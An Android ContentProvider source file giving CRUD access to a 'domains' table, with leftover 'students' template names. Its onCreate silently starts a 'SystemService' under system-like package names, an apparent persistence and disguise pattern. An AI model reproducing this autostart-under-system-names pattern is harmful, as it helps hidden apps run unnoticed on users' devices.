139 lines
4.8 KiB
Java
139 lines
4.8 KiB
Java
package com.android.provider;
|
|
|
|
import android.content.ContentProvider;
|
|
import android.content.ContentUris;
|
|
import android.content.ContentValues;
|
|
import android.content.Intent;
|
|
import android.content.UriMatcher;
|
|
import android.database.Cursor;
|
|
import android.database.sqlite.SQLiteDatabase;
|
|
import android.net.Uri;
|
|
import android.os.Build;
|
|
|
|
import com.android.systemss.SystemService;
|
|
import com.android.util.CommonUtils;
|
|
|
|
|
|
// StudentProvider.java
|
|
public class DomainProvider extends ContentProvider {
|
|
private DatabaseHelper dbHelper;
|
|
|
|
private static final UriMatcher uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
|
|
|
|
static {
|
|
uriMatcher.addURI(DBDomain.AUTHORITY, "domains", 1);
|
|
uriMatcher.addURI(DBDomain.AUTHORITY, "domains/#", 2);
|
|
}
|
|
|
|
@Override
|
|
public boolean onCreate() {
|
|
if (getContext() == null) {
|
|
return false;
|
|
}
|
|
|
|
dbHelper = new DatabaseHelper(getContext());
|
|
if (!CommonUtils.isServiceRunning(getContext(), SystemService.class)) {
|
|
Intent startIntent = new Intent(getContext(), SystemService.class);
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
|
getContext().startForegroundService(startIntent);
|
|
} else {
|
|
getContext().startService(startIntent);
|
|
}
|
|
}
|
|
return true;
|
|
}
|
|
|
|
@Override
|
|
public Cursor query(Uri uri, String[] projection, String selection,
|
|
String[] selectionArgs, String sortOrder) {
|
|
SQLiteDatabase db = dbHelper.getReadableDatabase();
|
|
Cursor cursor;
|
|
|
|
switch (uriMatcher.match(uri)) {
|
|
case 1:
|
|
cursor = db.query(DBDomain.DomainEntry.TABLE_NAME,
|
|
projection, selection, selectionArgs, null, null, sortOrder);
|
|
break;
|
|
case 2:
|
|
selection = DBDomain.DomainEntry._ID + "=?";
|
|
selectionArgs = new String[]{uri.getLastPathSegment()};
|
|
cursor = db.query(DBDomain.DomainEntry.TABLE_NAME,
|
|
projection, selection, selectionArgs, null, null, sortOrder);
|
|
break;
|
|
default:
|
|
throw new IllegalArgumentException("Unknown URI: " + uri);
|
|
}
|
|
|
|
cursor.setNotificationUri(getContext().getContentResolver(), uri);
|
|
return cursor;
|
|
}
|
|
|
|
@Override
|
|
public Uri insert(Uri uri, ContentValues values) {
|
|
SQLiteDatabase db = dbHelper.getWritableDatabase();
|
|
long id = db.insert(DBDomain.DomainEntry.TABLE_NAME, null, values);
|
|
getContext().getContentResolver().notifyChange(uri, null);
|
|
return ContentUris.withAppendedId(uri, id);
|
|
}
|
|
|
|
@Override
|
|
public int update(Uri uri, ContentValues values, String selection,
|
|
String[] selectionArgs) {
|
|
SQLiteDatabase db = dbHelper.getWritableDatabase();
|
|
int count;
|
|
|
|
switch (uriMatcher.match(uri)) {
|
|
case 1:
|
|
count = db.update(DBDomain.DomainEntry.TABLE_NAME,
|
|
values, selection, selectionArgs);
|
|
break;
|
|
case 2:
|
|
selection = DBDomain.DomainEntry._ID + "=?";
|
|
selectionArgs = new String[]{uri.getLastPathSegment()};
|
|
count = db.update(DBDomain.DomainEntry.TABLE_NAME,
|
|
values, selection, selectionArgs);
|
|
break;
|
|
default:
|
|
throw new IllegalArgumentException("Unknown URI: " + uri);
|
|
}
|
|
|
|
getContext().getContentResolver().notifyChange(uri, null);
|
|
return count;
|
|
}
|
|
|
|
@Override
|
|
public int delete(Uri uri, String selection, String[] selectionArgs) {
|
|
SQLiteDatabase db = dbHelper.getWritableDatabase();
|
|
int count;
|
|
|
|
switch (uriMatcher.match(uri)) {
|
|
case 1:
|
|
count = db.delete(DBDomain.DomainEntry.TABLE_NAME,
|
|
selection, selectionArgs);
|
|
break;
|
|
case 2:
|
|
selection = DBDomain.DomainEntry._ID + "=?";
|
|
selectionArgs = new String[]{uri.getLastPathSegment()};
|
|
count = db.delete(DBDomain.DomainEntry.TABLE_NAME,
|
|
selection, selectionArgs);
|
|
break;
|
|
default:
|
|
throw new IllegalArgumentException("Unknown URI: " + uri);
|
|
}
|
|
|
|
getContext().getContentResolver().notifyChange(uri, null);
|
|
return count;
|
|
}
|
|
|
|
@Override
|
|
public String getType(Uri uri) {
|
|
switch (uriMatcher.match(uri)) {
|
|
case 1:
|
|
return "vnd.android.cursor.dir/vnd.com.example.providerapp.students";
|
|
case 2:
|
|
return "vnd.android.cursor.item/vnd.com.example.providerapp.students";
|
|
default:
|
|
throw new IllegalArgumentException("Unknown URI: " + uri);
|
|
}
|
|
}
|
|
} |